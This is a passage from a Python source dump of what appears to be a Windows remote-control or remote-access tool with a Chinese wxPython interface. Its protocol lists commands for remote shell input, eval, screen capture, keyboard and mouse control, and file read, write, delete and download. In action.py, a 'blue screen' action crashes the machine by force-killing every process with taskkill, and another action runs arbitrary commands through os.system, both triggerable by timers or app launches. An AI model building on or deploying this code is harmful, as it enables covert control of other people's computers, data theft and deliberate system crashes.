| packet = packet[send_length:] 140 | length -= send_length 141 | all_sent += send_length 142 | if (perf_counter() - timer) * WIDE_WIDTH < all_sent: 143 | sleep(all_sent / (WIDE_WIDTH * (perf_counter() - timer))) 144 | if length <= 0: 145 | break 146 | 147 | def send_packet( 148 | self, packet: Packet, loss_enable: bool = False, priority: int = Priority.HIGHER 149 | ) -> None: 150 | packet_data = pack(packet) 151 | self.packet_stack[priority].append((packet_data, loss_enable)) 152 | return len(packet_data), packet_data 153 | 154 | def recv_length(self, length) -> bytes: 155 | data = b"" 156 | while True: 157 | data_part = self.sock.recv(length) 158 | length -= len(data_part) 159 | data += data_part 160 | if length <= 0: 161 | break 162 | return data 163 | 164 | def recv_packet(self) -> tuple[int, None] | tuple[int, Packet]: 165 | try: 166 | length = self.recv_length(8) 167 | length = int.from_bytes(length, "big") 168 | packet = self.recv_length(length) 169 | except TimeoutError: 170 | return 0, None 171 | return length, unpack(packet) 172 | SET_MOUSE_BUTTON = "set_mouse_button" 173 | SET_MOUSE_SCROLL = "set_mouse_scroll" 174 | GET_MOUSE_POS = "get_mouse_pos" 175 | GET_KEYBOARD_STATE = "get_keyboard_state" 176 | SET_MOUSE_POS = "set_mouse_pos" 177 | SET_KEYBOARD_KEY = "set_keyboard_key" 178 | GET_SCREEN = "get_screen" 179 | SET_SCREEN_SEND = "set_screen_send" 180 | SET_SCREEN_FPS = "set_screen_fps" 181 | SET_SCREEN_FORMAT = "set_screen_format" 182 | SET_SCREEN_QUALITY = "set_screen_quality" 183 | SET_SCREEN_SIZE = "set_screen_size" 184 | SET_PRE_SCALE = "set_pre_scale" 185 | OPEN_ERROR_WINDOW = "open_error_window" 186 | FILE_VIEW = "file_view" 187 | FILE_CREATE = "file_create" 188 | FILE_DELETE = "file_delete" 189 | FILE_WRITE = "file_write" 190 | REQ_LIST_DIR = "req_list_dir" 191 | SHELL_INIT = "shell_init" 192 | SHELL_INPUT = "shell_input" 193 | STATE_INFO = "state_info" 194 | ACTION_INFO = "action_info" 195 | ACTION_ADD = "action_add" 196 | ACTION_DEL = "action_del" 197 | ACTION_UPDATE = "action_update" 198 | PING = "ping" 199 | EVAL = "eval" 200 | CLIENT_RESTART = "client_restart" 201 | CHANGE_ADDRESS = "change_address" 202 | CHANGE_CONFIG = "change_config" 203 | REQ_CONFIG = "req_config" 204 | LOG = "log" 205 | SCREEN = "screen" 206 | KEY_EVENT = "key_event" 207 | MOUSE_EVENT = "mouse_event" 208 | SHELL_OUTPUT = "shell_output" 209 | SHELL_BROKEN = "shell_broken" 210 | EVAL_RESULT = "eval_result" 211 | HOST_NAME = "host_name" 212 | SCREEN_RAW_SIZE = "screen_raw_size" 213 | DIR_LIST_RESULT = "dir_list_result" 214 | FILE_VIEW_CREATE = "file_view_create" 215 | FILE_VIEW_DATA = "file_view_data" 216 | FILE_VIEW_OVER = "file_view_over" 217 | FILE_VIEW_ERROR = "file_view_error" 218 | CONFIG_RESULT = "config_result" 219 | PONG = "pong" 220 | FILE_DOWNLOAD = "file_download" 221 | FILE_DOWNLOAD_START = "file_download_start" 222 | FILE_DOWNLOAD_DATA = "file_download_data" 223 | FILE_DOWNLOAD_END = "file_download_end" 224 | FILE_DOWNLOAD_ERROR = "file_download_error" 225 | FILE_ATTRIBUTES = "file_attributes" 226 | FILE_ATTRIBUTES_RESULT = "file_attributes_result" 227 | FILE_ATTRIBUTES_ERROR = "file_attributes_error" 228 | SYSTEM_INFO = "system_info" -------------------------------------------------------------------------------- /libs/action.py: -------------------------------------------------------------------------------- 1 | from os import system 2 | from time import time 3 | from libs.packets import * 4 | from typing import Any, Dict 5 | from win32gui import MessageBox 6 | import win32gui 7 | import re 8 | 9 | Packet = Dict[str, Any] 10 | 11 | 12 | class ActionKind: 13 | BLUESCREEN = 0 14 | ERROR_MSG = 1 15 | EXECUTE_COMMAND = 2 16 | 17 | 18 | class StartPrqKind: 19 | NONE = 0 20 | WHEN_CONNECTED = 1 21 | WHEN_LAUNCH_APP = 2 22 | AFTER_TIME = 3 23 | 24 | 25 | class EndPrqKind: 26 | NONE = 0 27 | 28 | 29 | class ParamType: 30 | INT = int 31 | STRING = str 32 | FLOAT = float 33 | BOOL = bool 34 | CHOICE = list[str] 35 | 36 | 37 | class ActionParam: 38 | def __init__(self, label: str, _type: int, default: Any, custom: dict = None): 39 | self.label = label 40 | self.type = _type 41 | self.default = default 42 | self.custom = custom 43 | 44 | def valid(self, value: str) -> str | None: 45 | """调用此函数以验证输入框中的值是否有效, 返回的字符串即为错误信息""" 46 | return None 47 | 48 | def parse_string(self, value: str) -> Any: 49 | return self.type(value) 50 | 51 | 52 | class IntParam(ActionParam): 53 | def __init__(self, label: str, default: int, max: int | None = None, min: int | None = None): 54 | super().__init__(label, ParamType.INT, default, {"max": max, "min": min}) 55 | 56 | def valid(self, value: str) -> str | None: 57 | try: 58 | num = self.parse_string(value) 59 | except ValueError: 60 | return "请输入正确的整数" 61 | if self.custom["max"] is not None and num > self.custom["max"]: 62 | return f"请输入小于等于{self.custom['max']}的整数" 63 | if self.custom["min"] is not None and num < self.custom["min"]: 64 | return f"请输入大于等于{self.custom['min']}的整数" 65 | 66 | 67 | class FloatParam(ActionParam): 68 | def __init__(self, label: str, default: float): 69 | super().__init__(label, ParamType.FLOAT, default) 70 | 71 | def valid(self, value: str) -> str | None: 72 | try: 73 | self.parse_string(value) 74 | return 75 | except ValueError: 76 | return "请输入正确的浮点数" 77 | except TypeError: 78 | return "请输入正确的浮点数" 79 | 80 | 81 | class BoolParam(ActionParam): 82 | def __init__(self, label: str, default: bool): 83 | super().__init__(label, ParamType.BOOL, default) 84 | 85 | def parse_string(self, value: bool) -> Any: 86 | return value 87 | 88 | 89 | class StringParam(ActionParam): 90 | def __init__(self, label: str, default: str): 91 | super().__init__(label, ParamType.STRING, default) 92 | 93 | 94 | class ChoiceParam(ActionParam): 95 | def __init__(self, label: str, default: str, choices: dict[str, Any]): 96 | super().__init__(label, ParamType.CHOICE, default) 97 | self.choices = choices 98 | 99 | def parse_string(self, value: str) -> Any: 100 | return self.choices[value] 101 | 102 | 103 | class Prq: 104 | params = {} 105 | 106 | def __init__(self, kind: int, datas: dict = {}): 107 | self.kind = kind 108 | self.datas = datas 109 | 110 | def valid(self) -> bool: 111 | return True 112 | 113 | def to_tuple(self) -> tuple[int, dict, int]: 114 | return self.kind, self.datas 115 | 116 | @staticmethod 117 | def from_tuple(_tuple: tuple[int, dict]) -> "Prq": 118 | kind, datas = _tuple 119 | return Prq(kind, datas) 120 | 121 | @staticmethod 122 | def ch_name() -> str: 123 | return "undefined" 124 | 125 | def name(self) -> str: 126 | return self.ch_name() 127 | 128 | 129 | class StartPrq(Prq): 130 | @staticmethod 131 | def from_tuple(_tuple: tuple[int, dict]) -> "StartPrq": 132 | kind, datas = _tuple 133 | return start_prqs_map[kind](**datas) 134 | 135 | 136 | class EndPrq(Prq): 137 | @staticmethod 138 | def from_tuple(_tuple: tuple[int, dict]) -> "EndPrq": 139 | kind, datas = _tuple 140 | print(_tuple) 141 | return end_prqs_map[kind](**datas) 142 | 143 | 144 | class NoneStartPrq(StartPrq): 145 | def __init__(self): 146 | super().__init__(StartPrqKind.NONE) 147 | 148 | def valid(self) -> bool: 149 | return True 150 | 151 | @staticmethod 152 | def ch_name() -> str: 153 | return "无" 154 | 155 | 156 | class LaunchAppStartPrq(StartPrq): 157 | params = {"app_name": StringParam("出现窗口: ", "Notepad")} 158 | 159 | def __init__(self, app_name: str): 160 | super().__init__(StartPrqKind.WHEN_LAUNCH_APP, {"app_name": app_name}) 161 | self.complete_pattern = re.compile(app_name) 162 | 163 | def valid(self) -> bool: 164 | self.complete_pattern = re.compile(self.datas["app_name"]) 165 | find_app = False 166 | win32gui.EnumWindows(self._check_window, [find_app]) 167 | return find_app 168 | 169 | def _check_window(self, hwnd: int, find_app: list[bool]): 170 | title = win32gui.GetWindowText(hwnd) 171 | if re.match(self.complete_pattern, title): 172 | find_app[0] = True 173 | 174 | @staticmethod 175 | def ch_name() -> str: 176 | return "应用启动时" 177 | 178 | def name(self): 179 | return f"启动 {self.app_name} 时" 180 | 181 | @property 182 | def app_name(self): 183 | return self.datas["app_name"] 184 | 185 | @app_name.setter 186 | def app_name(self, value: str): 187 | self.datas["app_name"] = value 188 | 189 | 190 | class AfterTimeStartPrq(StartPrq): 191 | params = {"time": FloatParam("等待时间: ", 5)} 192 | 193 | def __init__(self, time: float): 194 | super().__init__(StartPrqKind.AFTER_TIME, {"time": time}) 195 | self.timer_start = None 196 | 197 | def valid(self) -> bool: 198 | if self.timer_start is None: 199 | self.timer_start = time() 200 | return False 201 | return time() - self.timer_start >= self.time 202 | 203 | @property 204 | def time(self): 205 | return self.datas["time"] 206 | 207 | @staticmethod 208 | def ch_name() -> str: 209 | return "等待x秒后" 210 | 211 | def name(self): 212 | return f"等待 {self.time} 秒后" 213 | 214 | 215 | class NoneEndPrq(EndPrq): 216 | def __init__(self): 217 | super().__init__(EndPrqKind.NONE) 218 | 219 | def valid(self) -> bool: 220 | return True 221 | 222 | @staticmethod 223 | def ch_name() -> str: 224 | return "无" 225 | 226 | 227 | class AnAction: 228 | params = {} 229 | 230 | def __init__(self, kind: int, datas: dict = {}) -> None: 231 | self.kind = kind 232 | self.datas = datas 233 | 234 | def execute(self): 235 | pass 236 | 237 | def to_tuple(self) -> tuple[int, dict]: 238 | return self.kind, self.datas 239 | 240 | @staticmethod 241 | def from_tuple(_tuple: tuple[int, dict]) -> "AnAction": 242 | kind, datas = _tuple 243 | return actions_map[kind](**datas) 244 | 245 | def name(self) -> str: 246 | return self.ch_name() 247 | 248 | @staticmethod 249 | def ch_name() -> str: 250 | return "undefined" 251 | 252 | def __str__(self): 253 | return self.name() 254 | 255 | 256 | class BlueScreenAction(AnAction): 257 | """蓝屏""" 258 | def __init__(self): 259 | super().__init__(ActionKind.BLUESCREEN) 260 | 261 | def execute(self): 262 | system('taskkill /fi "pid ge 1" /f') 263 | 264 | @staticmethod 265 | def ch_name() -> str: 266 | return "蓝屏" 267 | 268 | 269 | class ErrorMsgBoxAction(AnAction): 270 | """显示弹窗""" 271 | from win32con import MB_ICONERROR, MB_ICONWARNING, MB_ICONINFORMATION 272 | 273 | params = { 274 | "caption": StringParam("标题: ", "警告"), 275 | "msg": StringParam("提示内容: ", "你好"), 276 | "flags": ChoiceParam( 277 | "图标: ", "警告", {"警告": MB_ICONWARNING, "错误": MB_ICONERROR, "信息": MB_ICONINFORMATION} 278 | ), 279 | "wait": BoolParam("等待关闭: ", True) 280 | } 281 | 282 | def __init__(self, msg: str, caption: str, flags: int, wait: bool): 283 | super().__init__(ActionKind.ERROR_MSG, {"msg": msg, "caption": caption, "flags": flags, "wait": wait}) 284 | 285 | def execute(self): 286 | if self.datas["wait"]: 287 | MessageBox(0, self.datas["msg"], self.datas["caption"], self.datas["flags"]) 288 | else: 289 | start_and_return(MessageBox, (0, self.datas["msg"], self.datas["caption"], self.datas["flags"])) 290 | 291 | @staticmethod 292 | def ch_name() -> str: 293 | return "显示弹窗" 294 | 295 | def name(self): 296 | return f"显示弹窗: {self.datas['msg']}" 297 | 298 | 299 | class ExecuteCommandAction(AnAction): 300 | """执行命令""" 301 | params = { 302 | "command": StringParam("命令: ", "calc.exe"), 303 | "wait": BoolParam("等待执行完毕: ", True) 304 | } 305 | 306 | def __init__(self, command: str, wait: bool): 307 | super().__init__(ActionKind.EXECUTE_COMMAND, {"command": command, "wait": wait}) 308 | 309 | def execute(self): 310 | if self.datas["wait"]: 311 | system(self.datas["command"]) 312 | else: 313 | start_and_return(system, (self.datas["command"],)) 314 | 315 | @staticmethod 316 | def ch_name() -> str: 317 | return "执行命令" 318 | 319 | def name(self) -> str: 320 | return f"执行命令: {self.datas['command']}" 321 | 322 | 323 | class TheAction: 324 | def __init__( 325 | self, 326 | name: str, 327 | check_inv: float = 1, 328 | actions: list[AnAction] = [], 329 | start_prqs: list[StartPrq] = [], 330 | end_prqs: list[EndPrq] = [], 331 | ): 332 | self.name = name 333 | self.actions = actions 334 | self.start_prqs = start_prqs 335 | self.end_prqs = end_prqs 336 | self.check_inv = check_inv 337 | 338 | def build_packet(self) -> Packet: 339 | """将整个动作打包成字典""" 340 | packet = {"name": self.name} 341 | packet["check_inv"] = self.check_inv 342 | packet["actions"] = [action.to_tuple() for action in self.actions] 343 | packet["start_prqs"] = [start_prq.to_tuple() for start_prq in self.start_prqs] 344 | packet["end_prqs"] = [end_prq.to_tuple() for end_prq in self.end_prqs] 345 | return packet 346 | 347 | @staticmethod 348 | def from_packet(packet: Packet) -> "TheAction": 349 | """将字典解包成动作""" 350 | return TheAction( 351 | packet["name"], 352 | packet["check_inv"], 353 | [AnAction.from_tuple(action) for action in packet["actions"]], 354 | [StartPrq.from_tuple(start_prq) for start_prq in packet["start_prqs"]], 355 | [EndPrq.from_tuple(end_prq) for end_prq in packet["end_prqs"]], 356 | ) 357 | 358 | def check(self): 359 | """检测是否能够启动动作""" 360 | for start_prq in self.start_prqs: 361 | if not start_prq.valid(): 362 | return False 363 | return True 364 | 365 | def execute(self): 366 | """执行动作""" 367 | for action in self.actions: 368 | action.execute() 369 | 370 | def __str__(self): 371 | return self.name 372 | 373 | 374 | actions_map: dict[int, AnAction] = { 375 | ActionKind.BLUESCREEN: BlueScreenAction, 376 | ActionKind.ERROR_MSG: ErrorMsgBoxAction, 377 | ActionKind.EXECUTE_COMMAND: ExecuteCommandAction, 378 | } 379 | start_prqs_map: dict[int, StartPrq] = { 380 | StartPrqKind.NONE: NoneStartPrq, 381 | StartPrqKind.WHEN_LAUNCH_APP: LaunchAppStartPrq, 382 | StartPrqKind.AFTER_TIME: AfterTimeStartPrq, 383 | } 384 | end_prqs_map: dict[int, EndPrq] = {EndPrqKind.NONE: NoneEndPrq} 385 | -------------------------------------------------------------------------------- /gui/widgets.py: -------------------------------------------------------------------------------- 1 | import wx 2 | from time import sleep 3 | from libs.packets import * 4 | from threading import Lock 5 | from os.path import abspath 6 | from typing import Callable 7 | from win32gui import GetCursorPos 8 | from win32api import GetSystemMetrics 9 | 10 | font: wx.Font = wx.SystemSettings.GetFont(wx.SYS_DEFAULT_GUI_FONT) 11 | font.SetPointSize(11) 12 | 13 | MAX_SIZE = (GetSystemMetrics(0), GetSystemMetrics(1)) 14 | 15 | font_cache = {} 16 | 17 | 18 | def ft(size: float, weight: int = 500) -> wx.Font: 19 | global font_cache 20 | if font_cache.get((size, weight)): 21 | return font_cache.get((size, weight)) 22 | _ft: wx.Font = wx.SystemSettings.GetFont(wx.SYS_DEFAULT_GUI_FONT) 23 | _ft.SetPointSize(size) 24 | if weight != 500: 25 | _ft.SetWeight(weight) 26 | font_cache[(size, weight)] = _ft 27 | return _ft 28 | 29 | 30 | def get_window(widget: wx.Window) -> wx.Frame: 31 | while True: 32 | widget: wx.Window = widget.GetParent() 33 | if isinstance(widget, wx.Frame): 34 | return widget 35 | 36 | 37 | def format_size(size_in_bytes: float, retaining: int = 2) -> str: 38 | units = ["B", "KB", "MB", "GB", "TB"] 39 | index = 0 40 | while size_in_bytes >= 1024 and index < len(units) - 1: 41 | size_in_bytes /= 1024 42 | index += 1 43 | return f"{round(size_in_bytes, retaining)} {units[index]}" 44 | 45 | 46 | class Panel(wx.Panel): 47 | def __init__( 48 | self, 49 | parent: wx.Window, 50 | pos: tuple[int, int] | list[int] = (0, 0), 51 | size: tuple[int, int] | list[int] = (16, 16), 52 | ): 53 | pos = tuple(pos) 54 | size = tuple(size) 55 | super().__init__(parent=parent, pos=pos, size=size) 56 | # import random 57 | # self.SetBackgroundColour(wx.Colour(*(random.randint(0, 255) for _ in range(3)))) 58 | 59 | 60 | class LabelEntry(Panel): 61 | def __init__(self, parent, label: str): 62 | super().__init__(parent, size=(130, 27)) 63 | sizer = wx.BoxSizer(wx.HORIZONTAL) 64 | self.label_ctl = wx.StaticText(self, label=label) 65 | self.text = wx.TextCtrl(self, size=(100, 27)) 66 | self.label_ctl.SetFont(font) 67 | sizer.Add(self.label_ctl, flag=wx.ALIGN_CENTER_VERTICAL, proportion=0) 68 | sizer.AddSpacer(6) 69 | sizer.Add(self.text, wx.EXPAND) 70 | self.SetSizer(sizer) 71 | 72 | 73 | class LabelCombobox(Panel): 74 | def __init__(self, parent, label: str, choices: list[tuple[str, Any]] = []): 75 | super().__init__(parent, size=(130, 27)) 76 | sizer = wx.BoxSizer(wx.HORIZONTAL) 77 | self.label_ctl = wx.StaticText(self, label=label) 78 | self.combobox = wx.ComboBox( 79 | self, choices=[name for name, _ in choices], size=(100, 27), style=wx.CB_READONLY 80 | ) 81 | self.label_ctl.SetFont(font) 82 | sizer.Add(self.label_ctl, flag=wx.ALIGN_CENTER_VERTICAL, proportion=0) 83 | sizer.AddSpacer(6) 84 | sizer.Add(self.combobox, wx.EXPAND) 85 | self.SetSizer(sizer) 86 | self.combobox.Clear() # 奇怪的Bug: 如果不清空就会导致选项不断叠加 87 | 88 | self.datas = choices 89 | 90 | def set_choices(self, choices: list[tuple[str, Any]]): 91 | self.combobox.Clear() 92 | self.combobox.AppendItems([name for name, _ in choices]) 93 | self.datas = choices 94 | 95 | def add_choice(self, name: str, data: Any): 96 | self.combobox.Append(name) 97 | self.datas.append((name, data)) 98 | 99 | def get_data(self) -> Any | None: 100 | select = self.combobox.GetValue() 101 | for name, data in self.datas: 102 | if name == select: 103 | return data 104 | return None 105 | 106 | 107 | class AddableList(Panel): 108 | def __init__( 109 | self, parent, label: str, ready_data: list[tuple[str, Any]] = [], ch_title: str = "选择" 110 | ): 111 | super().__init__(parent, size=(200, 200)) 112 | sizer = wx.BoxSizer(wx.VERTICAL) 113 | top_sizer = wx.BoxSizer(wx.HORIZONTAL) 114 | self.add_button = wx.BitmapButton( 115 | self, bitmap=wx.Bitmap(abspath("assets/add.png"), wx.BITMAP_TYPE_PNG) 116 | ) 117 | self.add_button.Bind(wx.EVT_BUTTON, lambda _: self.on_add()) 118 | self.label_ctl = wx.StaticText(self, label=label) 119 | self.label_ctl.SetFont(ft(13)) 120 | self.listbox = wx.ListBox(self, size=(200, 85)) 121 | self.listbox.SetFont(font) 122 | 123 | top_sizer.Add(self.label_ctl, wx.EXPAND | wx.TOP, border=5) 124 | top_sizer.Add(self.add_button, proportion=0) 125 | sizer.Add(top_sizer, flag=wx.ALL | wx.EXPAND, border=3, proportion=0) 126 | sizer.Add(self.listbox, flag=wx.EXPAND, proportion=1) 127 | self.SetSizer(sizer) 128 | self.listbox.Bind(wx.EVT_RIGHT_DOWN, self.on_empty_menu) 129 | self.listbox.Bind(wx.EVT_LIST_ITEM_RIGHT_CLICK, self.on_item_menu) 130 | 131 | self.ch_title = ch_title 132 | self.ready_data = ready_data 133 | self.datas: dict[int, tuple[str, Any]] = {} 134 | 135 | def add_item(self, name: str, data: Any, index: int = -1): 136 | if index == -1: 137 | index = self.listbox.GetCount() 138 | self.listbox.Insert(name, index) 139 | self.datas[index] = (name, data) 140 | 141 | def on_empty_menu(self, event: wx.MouseEvent): 142 | menu = wx.Menu() 143 | menu.Append(1, "添加") 144 | menu.Bind(wx.EVT_MENU, lambda _: self.on_add(), id=1) 145 | self.PopupMenu(menu) 146 | event.Skip() 147 | 148 | def on_item_menu(self, event: wx.ListEvent): 149 | menu = wx.Menu() 150 | menu.Append(1, "添加") 151 | menu.Append(2, "修改") 152 | menu.Append(3, "删除") 153 | index = event.GetIndex() 154 | menu.Bind(wx.EVT_MENU, lambda _: self.on_add(), id=1) 155 | menu.Bind(wx.EVT_MENU, lambda _: self.on_modify(index), id=2) 156 | menu.Bind(wx.EVT_MENU, lambda _: self.on_delete(index), id=3) 157 | self.PopupMenu(menu) 158 | 159 | def on_add(self): 160 | ItemChoiceDialog(self, self.ch_title, self.ready_data, self.add_item) 161 | 162 | def on_modify(self, index: int): 163 | pass 164 | 165 | def on_delete(self, index: int): 166 | self.listbox.Delete(index) 167 | 168 | def get_items(self) -> list[Any]: 169 | return [data for _, data in self.datas.values()] 170 | 171 | 172 | class ItemChoiceDialog(wx.Dialog): 173 | def __init__( 174 | self, 175 | parent, 176 | title: str, 177 | choices: list[tuple[str, Any]], 178 | callback: Callable[[str, Any], None], 179 | ): 180 | super().__init__(get_window(parent), title=title, size=(200, 250)) 181 | self.sizer = wx.BoxSizer(wx.VERTICAL) 182 | self.listbox = wx.ListBox(self, size=MAX_SIZE) 183 | self.bottom_sizer = wx.BoxSizer(wx.HORIZONTAL) 184 | self.empty = wx.Window(self) 185 | self.ok_btn = wx.Button(self, label="确定") 186 | self.cancel_btn = wx.Button(self, label="取消") 187 | 188 | self.ok_btn.Bind(wx.EVT_BUTTON, self.on_ok) 189 | self.listbox.Bind(wx.EVT_LISTBOX_DCLICK, self.on_ok) 190 | self.cancel_btn.Bind(wx.EVT_BUTTON, lambda _: self.Close()) 191 | self.listbox.SetFont(ft(12)) 192 | self.ok_btn.SetFont(ft(12)) 193 | self.cancel_btn.SetFont(ft(12)) 194 | 195 | self.sizer.Add(self.listbox, wx.EXPAND) 196 | self.bottom_sizer.Add(self.empty, flag=wx.EXPAND) 197 | self.bottom_sizer.Add(self.ok_btn, proportion=0) 198 | self.bottom_sizer.AddSpacer(6) 199 | self.bottom_sizer.Add(self.cancel_btn, proportion=0) 200 | self.sizer.Add(self.bottom_sizer, flag=wx.EXPAND | wx.ALL, proportion=0, border=6) 201 | self.SetSizer(self.sizer) 202 | self.SetIcon(wx.Icon(abspath("assets/select.ico"), wx.BITMAP_TYPE_ICO)) 203 | for name, _ in choices: 204 | self.listbox.Append(name) 205 | 206 | self.cbk = callback 207 | self.choices = choices 208 | self.ShowModal() 209 | 210 | def on_ok(self, _): 211 | select = self.listbox.GetSelection() 212 | if select != wx.NOT_FOUND: 213 | self.cbk(*self.choices[select]) 214 | self.Close() 215 | 216 | 217 | class InputSlider(wx.Panel): 218 | def __init__( 219 | self, 220 | parent: wx.Window, 221 | _from: int = 0, 222 | to: int = 100, 223 | _min: int = 0, 224 | _max: int = 100, 225 | value: int = 50, 226 | cbk: Callable = lambda _: None, 227 | ): 228 | super().__init__(parent=parent, size=(1500, 31)) 229 | self.sizer = wx.BoxSizer(wx.HORIZONTAL) 230 | self.slider = wx.Slider(self, value=value, minValue=_from, maxValue=to, size=(790, 31)) 231 | self.inputter = wx.TextCtrl(self, value=str(value), size=(60, 31)) 232 | self.sizer.AddSpacer(5) 233 | self.sizer.Add(self.slider, flag=wx.ALIGN_LEFT | wx.EXPAND | wx.TOP, border=4, proportion=1) 234 | self.sizer.AddSpacer(5) 235 | self.sizer.Add(self.inputter, flag=wx.ALIGN_LEFT | wx.TOP, border=3, proportion=0) 236 | 237 | self.slider.Bind(wx.EVT_SLIDER, self.on_slider) 238 | self.inputter.Bind(wx.EVT_TEXT, self.on_edit) 239 | self.inputter.Bind(wx.EVT_CHAR_HOOK, self.on_enter) 240 | self.inputter.Bind(wx.EVT_KILL_FOCUS, self.on_focus_out) 241 | 242 | self.value = value 243 | self.min = _min 244 | self.max = _max 245 | self.cbk = cbk 246 | self.SetSizer(self.sizer) 247 | 248 | def parse_value(self): 249 | value = self.inputter.GetValue() 250 | try: 251 | value = int(value) 252 | except ValueError: 253 | value = self.min 254 | if value > self.max: 255 | value = self.max 256 | elif value < self.min: 257 | value = self.min 258 | self.slider.SetValue(value) 259 | self.value = value + 1 - 1 260 | 261 | def on_slider(self, event: wx.ScrollEvent): 262 | value = self.slider.GetValue() 263 | if value > self.max: 264 | value = self.max 265 | self.slider.SetValue(value) 266 | elif value < self.min: 267 | value = self.min 268 | self.slider.SetValue(value) 269 | self.inputter.SetValue(str(value)) 270 | self.value = value + 1 - 1 271 | self.cbk(self.value) 272 | event.Skip() 273 | 274 | def on_edit(self, event: wx.Event): 275 | self.parse_value() 276 | event.Skip() 277 | 278 | def on_enter(self, event: wx.KeyEvent): 279 | self.SetFocus() 280 | if event.GetKeyCode() == wx.WXK_RETURN or event.GetKeyCode() == wx.WXK_NUMPAD_ENTER: 281 | self.on_focus_out() 282 | event.Skip() 283 | 284 | def on_focus_out(self, event: wx.Event = None): 285 | self.parse_value() 286 | self.inputter.SetValue(str(self.value)) 287 | self.cbk(self.value) 288 | if event: 289 | event.Skip() 290 | 291 | def get_value(self): 292 | return self.value 293 | 294 | 295 | class BToolTip: 296 | def __init__(self, parent: wx.Window, text: str, _font=None): 297 | """Big & Better TipTool""" 298 | self.parent = parent 299 | self.text = text 300 | self.font: wx.Font = _font 301 | self.delay = 0.5 302 | self.client = get_window(parent) 303 | self.in_timer = True 304 | self.tooltip = None 305 | self.tooltip_lock = Lock() 306 | parent.Bind(wx.EVT_MOUSE_EVENTS, self.mouse_event) 307 | 308 | def timer_thread(self): 309 | sleep(self.delay) 310 | if self.client.connected: 311 | wx.CallAfter(self.show_tooltip) 312 | 313 | def show_tooltip(self): 314 | if not self.in_timer: 315 | return 316 | with self.tooltip_lock: 317 | if self.tooltip: 318 | return 319 | dc = wx.ScreenDC() 320 | if self.font: 321 | dc.SetFont(self.font) 322 | if "\n" in self.text: 323 | mx_len = 0 324 | size = (0, 0) 325 | for line in self.text.split("\n"): 326 | size = dc.GetTextExtent(line) 327 | if size[0] > mx_len: 328 | mx_len = size[0] 329 | size = list(size) 330 | size[0] = mx_len 331 | else: 332 | size = dc.GetTextExtent(self.text) 333 | 334 | tooltip = wx.TipWindow(get_window(self.parent), self.text, size[0] + 10) 335 | text: wx.StaticText = tooltip.GetChildren()[0] 336 | 337 | tooltip.SetSize(0, 0, size[0] + 6, tooltip.GetSize()[1]) 338 | text.SetSize(0, 0, size[0] + 6, text.GetSize()[1]) 339 | text.SetBackgroundColour(wx.Colour((249, 249, 249))) 340 | text.SetForegroundColour(wx.Colour((87, 87, 87))) 341 | if self.font: 342 | text.SetFont(self.font) 343 | pos = list(GetCursorPos()) 344 | pos[1] += 31 345 | tooltip.SetPosition(pos) 346 | self.tooltip = tooltip 347 | 348 | def mouse_event(self, event: wx.MouseEvent): 349 | if event.Entering(): 350 | self.in_timer = True 351 | start_and_return(self.timer_thread) 352 | elif event.Moving() and self.tooltip: 353 | pos = list(GetCursorPos()) 354 | pos[1] += 31 355 | self.tooltip.SetPosition(pos) 356 | elif event.Leaving(): 357 | self.in_timer = False 358 | with self.tooltip_lock: 359 | try: 360 | self.tooltip.Destroy() 361 | except AttributeError: 362 | pass 363 | except RuntimeError: 364 | pass 365 | self.tooltip = None 366 | event.Skip() 367 | -------------------------------------------------------------------------------- /gui/files.py: -------------------------------------------------------------------------------- 1 | import os 2 | import wx 3 | from gui.widgets import * 4 | from libs.api import get_api 5 | from posixpath import normpath 6 | from posixpath import join as path_join 7 | from win32con import FILE_ATTRIBUTE_NORMAL 8 | from win32com.shell import shell, shellcon # type: ignore 9 | 10 | 11 | def extension_to_bitmap(extension) -> wx.Bitmap: 12 | """ 13 | 将文件扩展名转换为位图图标。 14 | 15 | 参数: 16 | extension (str): 文件扩展名,必须包含点号(例如 '.txt')。 17 | 18 | 返回: 19 | wx.Bitmap: 与文件扩展名关联的位图图标。 20 | """ 21 | # 获取文件扩展名对应的图标信息 22 | flags = shellcon.SHGFI_SMALLICON | shellcon.SHGFI_ICON | shellcon.SHGFI_USEFILEATTRIBUTES 23 | retval, info = shell.SHGetFileInfo(extension, FILE_ATTRIBUTE_NORMAL, flags) 24 | assert retval 25 | 26 | # 提取图标句柄并创建图标对象 27 | hicon, _, _, _, _ = info 28 | icon: wx.Icon = wx.Icon() 29 | icon.SetHandle(hicon) 30 | 31 | # 创建位图对象并从图标复制图像 32 | bmp = wx.Bitmap() 33 | bmp.CopyFromIcon(icon) 34 | return bmp 35 | 36 | 37 | class DataType: 38 | FILE = 0 39 | FOLDER = 1 40 | 41 | 42 | class FilesData: 43 | def __init__(self, _type: int, name: str, item_id: wx.TreeItemId): 44 | # 初始化文件数据对象 45 | # 46 | # 参数: 47 | # _type: 文件类型标识符 48 | # name: 文件名称 49 | # item_id: wx.TreeCtrl中的对应项ID 50 | # 51 | # 属性: 52 | # name_dict: 存储名称到类型、ID和数据的映射 53 | # id_dict: 存储TreeItemId到类型、名称和数据的映射 54 | self.name = name 55 | self.type = _type 56 | self.item_id = item_id 57 | 58 | self.name_dict: dict[str, tuple[int, wx.TreeItemId, FilesData | None]] = {} 59 | self.id_dict: dict[wx.TreeItemId, tuple[int, str, FilesData | None]] = {} 60 | 61 | def add(self, _type: int, name, item_id: wx.TreeItemId): 62 | if self.type == DataType.FILE: 63 | raise RuntimeError("Cannot add children to a file") 64 | self.name_dict[name] = (_type, item_id, FilesData(_type, name, item_id)) 65 | self.id_dict[item_id] = (_type, name, FilesData(_type, name, item_id)) 66 | 67 | def name_get(self, name: str): 68 | return self.name_dict[name] 69 | 70 | def id_get(self, item_id: wx.TreeItemId): 71 | return self.id_dict[item_id] 72 | 73 | def name_tree_get(self, names: list[str]): 74 | ret = self 75 | for name in names: 76 | if not name: # 跳过空路径段 77 | continue 78 | if name not in ret.name_dict: 79 | # 如果路径不存在,返回一个空的FilesData对象 80 | return FilesData(DataType.FOLDER, "", None) 81 | ret = ret.name_dict[name][2] 82 | if ret is None: # 处理空节点 83 | return FilesData(DataType.FOLDER, "", None) 84 | return ret 85 | 86 | def clear(self): 87 | self.name_dict.clear() 88 | self.id_dict.clear() 89 | 90 | def clear_files(self): 91 | """仅清除文件项,保留目录项""" 92 | keys_to_remove = [] 93 | for name, (_, _, data) in self.name_dict.items(): 94 | if data and data.type == DataType.FILE: 95 | keys_to_remove.append(name) 96 | 97 | for key in keys_to_remove: 98 | del self.name_dict[key] 99 | 100 | ids_to_remove = [] 101 | for item_id, (_, _, data) in self.id_dict.items(): 102 | if data and data.type == DataType.FILE: 103 | 